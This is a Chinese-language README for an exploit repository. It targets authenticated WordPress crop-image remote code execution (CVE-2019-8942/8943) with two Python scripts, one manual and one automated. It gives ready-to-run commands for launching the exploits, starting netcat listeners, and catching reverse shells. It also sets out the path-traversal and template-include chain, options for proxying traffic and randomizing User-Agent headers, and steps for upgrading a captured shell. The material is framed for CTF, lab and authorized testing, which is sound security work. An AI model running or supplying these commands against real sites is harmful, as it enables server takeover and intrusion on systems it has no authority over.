Python3 实现的有身份验证的 WordPress 裁剪图片利用链。该仓库围绕两种独立的工作流程组织:一个手动 OSCP 风格脚本和一个完全自动化且集成了反向 Shell 处理器的脚本。
仅可在授权的实验室、CTF、培训平台或你拥有明确测试许可的系统中使用此工具。
该利用链针对以下漏洞:
CVE-2019-8942CVE-2019-8943该漏洞的公共 Metasploit 模块描述了受影响的版本:
WordPress 5.0.0 以及 WordPress <= 4.9.8
需要一个具有媒体上传/编辑权限的有效 WordPress 账户。在许多实验室环境中,作者级别的用户就足够了。
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt
image.jpg 是 OSCP 风格脚本使用的默认 JPG 载体。将其包含在内,以便手动工作流程无需寻找随机图片即可直接使用。
autoexploit.py 是自包含的,内部包含自己的十六进制 JPG 载体,但也可以使用 -i 接受自定义 JPG。
python3 -m pip install -r requirements.txt
唯一需要的 Python 包是:
requests
如果你需要 SOCKS 代理支持,请在你的环境中安装带有 SOCKS 扩展的 requests:
python3 -m pip install 'requests[socks]'
| 脚本 | 最适合 | 图片处理 | Shell 处理 |
|---|---|---|---|
exploit_oscp.py | OSCP 风格/手动利用 | 默认使用 image.jpg,或使用 -i custom.jpg | 你手动启动 nc |
autoexploit.py | 快速实验室使用和重复测试 | 默认使用内嵌的十六进制 JPG,或使用 -i custom.jpg | 启动监听器,触发回调,并打开交互式控制台 |
两个脚本都是独立的,彼此不导入代码。
exploit_oscp.py 保持工作流程明确。它准备图片载体,执行有身份验证的 WordPress 利用链,确认命令执行,并触发反向 Shell 到你手动启动的监听器。
它不会自动启动处理器,也不使用 Metasploit、Meterpreter 或 msfvenom。
首先启动你的监听器:
nc -lvnp 443
使用默认的 image.jpg 运行利用脚本:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443
| 选项 | 必需 | 默认值 | 说明 |
|---|---|---|---|
-t, --target | 是 | 无 | 目标 WordPress 基础 URL,例如 http://target.local/ |
-u, --username | 是 | 无 | WordPress 用户名 |
-p, --password | 是 | 无 | WordPress 密码 |
-i, --image | 否 | image.jpg | 准备并上传的 JPG 载体 |
--lhost | 是 | 无 | 你的回调 IP,通常是你的 VPN/tun0 IP |
--lport | 是 | 无 | 你手动监听器正在监听的端口 |
--proxy | 否 | 无 | 代理 URL,例如 http://127.0.0.1:8080 或 socks5://127.0.0.1:9050 |
--user-agent | 否 | 内置 | 自定义 User-Agent 标头 |
--random-user-agent | 否 | 禁用 | 使用随机的浏览器风格 User-Agent |
--timeout | 否 | 20 | HTTP 超时时间(秒) |
--debug | 否 | 禁用 | 打印 HTTP 调试输出并保存有用的失败响应 |
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080
autoexploit.py 专为速度设计。只需提供目标凭据即可运行,并会尝试自动选择回调 IP 和监听器端口。
它执行完整的利用流程,启动本地监听器,尝试多种反向 Shell 载荷样式,并打开一个更干净的交互式控制台,带有彩色本地状态消息和静默 TTY 升级处理。
python3 autoexploit.py -t http://target.local/ -u username -p password
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080
| 选项 | 必需 | 默认值 | 说明 |
|---|---|---|---|
-t, --target | 是 | 无 | 目标 WordPress 基础 URL |
-u, --username | 是 | 无 | WordPress 用户名 |
-p, --password | 是 | 无 | WordPress 密码 |
-i, --image | 否 | 内嵌十六进制 JPG | 可选的自定义 JPG 载体 |
--lhost | 否 | 自动检测 | 反向 Shell 使用的回调 IP |
--lport | 否 | 空闲本地端口 | 本地监听器端口 |
--listen-timeout | 否 | 12 | 每次反向 Shell 尝试等待的秒数 |
--proxy | 否 | 无 | 代理 URL,例如 http://127.0.0.1:8080 或 socks5://127.0.0.1:9050 |
--user-agent | 否 | 内置 | 自定义 User-Agent 标头 |
--random-user-agent | 否 | 禁用 | 使用随机的浏览器风格 User-Agent |
--timeout | 否 | 20 | HTTP 超时时间(秒) |
--debug | 否 | 禁用 | 打印 HTTP 调试输出并保存有用的失败响应 |
通过 Burp 的 HTTP 代理:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
SOCKS 代理:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050
自定义 User-Agent:
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"
随机 User-Agent:
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent
这不是普通的 PHP 上传。WordPress 期望图片内容,通过媒体编辑器处理文件并创建裁剪后的图片。然后利用链滥用附件元数据和路径遍历,将裁剪后的图片放置到活动主题目录中。最后,裁剪后的文件被引用为页面模板,以便 WordPress 将其作为 PHP 包含。
在脆弱的 EXIF 元数据中放置 PHP 的随机 JPG 可能会失败,因为 GD 在处理裁剪时可能会剥离或重新编码元数据。此仓库保持工作流程清晰:
exploit_oscp.py 默认使用包含的 image.jpg,或通过 -i 传递的自定义图片。autoexploit.py 包含内部十六进制载体,因此它是自包含的。async-upload.php 上传 JPG 载体。_wp_attached_file 操作来影响裁剪输出路径。_wp_page_template 设置为裁剪后的 JPG 名称。0 GET 参数确认命令执行。检查 WordPress 版本是否易受攻击,并且账户是否可以上传和编辑媒体。
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug
检查回调 IP 和监听器。
ip addr show tun0
nc -lvnp 443
然后使用正确的 --lhost 再次运行 OSCP 脚本。
显式使用代理选项:
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080
安装 SOCKS 支持:
python3 -m pip install 'requests[socks]'
基本的反向 Shell 通常有限制。自动脚本尝试自动升级会话。在 OSCP 模式下,收到回调后手动升级:
python3 -c 'import pty; pty.spawn("/bin/bash")'
按 Ctrl+Z 本地挂起,然后运行:
stty raw -echo; fg
在 Shell 中:
export TERM=xterm
exploit_oscp.py 有意保持手动:
autoexploit.py;LHOST 和 LPORT;预期的工作流程是:
nc -lvnp 443
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443
研究和漏洞链由原研究人员公开记录,后来在公共利用框架中实现。
Python 实现和实验室工作流程由 SpeatX 完成。
此仓库仅供授权的安全测试、CTF、培训实验室和教育研究使用。
请勿针对你不拥有或未获得明确测试许可的系统运行。